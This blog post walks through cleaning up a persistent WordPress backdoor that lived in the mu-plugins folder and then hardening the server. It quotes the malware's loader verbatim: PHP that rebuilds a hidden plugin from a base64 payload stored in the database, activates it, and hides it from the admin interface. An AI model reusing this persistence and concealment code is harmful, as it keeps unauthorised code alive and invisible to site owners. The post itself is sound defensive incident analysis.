Skip to main content

Debugging a persistent WordPress backdoor

·1009 words·5 mins
Tech WordPress Security CMS

One of our minor sites had been compromised. Not for the first time. I changed the admin password, removed the spam posts that had accumulated, and figured the cleanup would take an hour. It took most of the day, and the part that actually solved it was not the part I expected.

The problem that kept coming back
#

Illustration for The problem that kept coming back After the password reset I needed to install a security plugin, which meant temporarily re-enabling file modifications in wp-config.php:

define( 'DISALLOW_FILE_MODS', false );
define( 'DISALLOW_FILE_EDIT', false );

That change had no effect. The plugin installer stayed blocked. Something else was controlling what WordPress could and could not do.

I went looking in the filesystem. In the mu-plugins directory — the “must-use” plugins folder that WordPress loads automatically before anything else, without any admin activation — I found two files: neo-classik-loader.php and neo-classik-backup.php. Neither appeared in the WordPress plugin list. I deleted them, refreshed the admin panel, and neo-classik-loader.php was already back.

That is when I understood this was not a simple file cleanup job. Something was still running and actively recreating the backdoor.

What the code was actually doing
#

Illustration for What the code was actually doing This is the loader file verbatim. The comments are in Russian, which tells you something about the origin, though attribution in these cases is always uncertain.

<?php
// Neo Classik Loader
$plugin_file = WP_PLUGIN_DIR . "/neo-classik-manager/neo-classik-manager.php";
if (!file_exists($plugin_file)) {
    // Восстановление плагина
    $backup_code = get_option("neo_classik_plugin_code");
    if ($backup_code) {
        $plugin_dir = dirname($plugin_file);
        if (!is_dir($plugin_dir)) {
            mkdir($plugin_dir, 0755, true);
        }
        file_put_contents($plugin_file, base64_decode($backup_code));

        // Активация плагина
        if (!function_exists("activate_plugin")) {
            require_once(ABSPATH . "wp-admin/includes/plugin.php");
        }
        if (function_exists("activate_plugin") && !is_plugin_active("neo-classik-manager/neo-classik-manager.php")) {
            activate_plugin("neo-classik-manager/neo-classik-manager.php");
        }
    }
}

// Глобальное скрытие плагина
add_filter("all_plugins", function($plugins) {
    $hide_plugins = array(
        "neo-classik-manager/neo-classik-manager.php"
    );

    foreach ($hide_plugins as $hide_plugin) {
        if (isset($plugins[$hide_plugin])) {
            unset($plugins[$hide_plugin]));
        }
    }

    return $plugins;
}, 999);

// Скрытие через CSS на всех страницах админки
add_action("admin_head", function() {
    echo "<style>
        tr[data-slug*=\"neo-classik\"],
        tr[data-plugin*=\"neo-classik\"],
        .plugin-card-neo-classik-manager,
        [id*=\"neo-classik\"],
        [class*=\"neo-classik\"] {
           display: none !important;
        }
    </style>";
});

Breaking down what this does:

  1. Self-reconstruction: On every page load, it checks whether neo-classik-manager.php exists in the plugins directory. If the file is gone, it fetches a base64-encoded payload from the WordPress database via get_option("neo_classik_plugin_code") and writes the plugin back to disk. That is why deleting the file did nothing — the next request just rebuilt it.

  2. Active concealment: It filters the all_plugins list so the plugin never appears in the admin UI, and injects CSS to hide any matching DOM elements. Even if you suspected something was running, the standard Plugins screen showed nothing.

This is a reasonably well-engineered piece of malware for the WordPress ecosystem. It uses mu-plugins because files there cannot be deactivated from the admin panel. It stores its payload in the database so filesystem scans often miss it. It hides itself visually as a second layer. The only real gap is that it is not obfuscating the loader logic itself, which made it readable once I found it.

How I killed it
#

Illustration for How I killed it The order of operations mattered here, and I got it slightly wrong the first time by working only on the filesystem.

What eventually worked:

I emptied neo-classik-loader.php rather than deleting it — leaving the file in place but with no content. That broke the execution chain without triggering an immediate rebuild, since the file still existed from the script’s perspective. WordPress prompted a database update, likely due to the plugin deactivation sequence that followed, and the site stabilized.

I opened phpMyAdmin and went to the wp_options table. I searched for neoclassik and removed it from the active_plugins serialized array. This is where I found a dependency I had not expected: Elementor was listed as depending on the neoclassik plugin in the options, which had quietly broken the whole site until I cleaned that entry. All plugins were showing as inactive.

I checked the wp_usermeta table for any injected admin accounts or capability escalation. Nothing obvious, but that table is worth checking on any compromised site.

I checked the WordPress core files against known-good versions. No modifications found.

Then: changed the database password, updated all plugins, and verified the mu-plugins directory stayed clean across several page loads.

What I should have done earlier was go to the database before touching the filesystem, so I could see the full picture — active plugin registrations, stored payloads, any rogue option keys — before the loader had a chance to react to my changes.

Hardening decisions afterward
#

Illustration for Hardening decisions afterward A few things I applied or adjusted after the cleanup:

LiteSpeed SSL cipher suite — tightened to a modern-only list that prioritizes ECDHE key exchange and drops anything legacy:

ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:
ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:
ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:
DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384

CHACHA20 stays in because mobile clients without AES-NI hardware acceleration perform meaningfully better on it. AES256 variants are slightly slower but stay in for workloads where key length matters more than handshake speed.

Cloudflare minimum TLS — set to TLS 1.2. Should have been there already.

WAF geo-rulesnote that what follows was appropriate for this specific client, who has a strictly local audience. The rules allow traffic from AU, US, BD, and PH, and block by continent for regions that have no legitimate users for this site. This is not a general recommendation. If your client has a global audience, continent-level blocking is a business problem, not a security fix. Apply it only where you can confirm the audience scope.

xmlrpc.php lockdown — blocked from accessing wp-content and wp-includes. It was not disabled entirely because some integrations still use it, but limiting what it can reach reduces the attack surface.


The honest lesson here is that persistent WordPress compromises are usually a database problem dressed up as a filesystem problem. Cleaning files first feels productive, but if you have not removed the stored payload and the database entries that register the malicious plugin, you are just giving the loader something to rebuild on the next request. Start with the database. Read the code before you delete it. And check mu-plugins whenever something feels off — it is exactly where I would hide something if I wanted it to survive a standard cleanup.

Related

Dissecting a WordPress compromise: from obfuscated code to hardened infrastructure
·1166 words·6 mins
Tech WordPress Security Infrastructure
A WordPress site on our infrastructure was compromised via an abandoned theme. This is a walkthrough of how I found the malicious code, what it was actually doing, and the harder question I still can’t fully answer: whether any real damage was done before we found it.
The mailflow rule I wrote quarantined a client's shipping invoice — here is what I missed
·1023 words·5 mins
Tech Email Infrastructure Governance Deliverability
A mailflow rule meant to catch spoofed mail started blocking legitimate transactional email from a third-party shipping provider. The regex logic was sound in isolation. The infrastructure gap it exposed was not.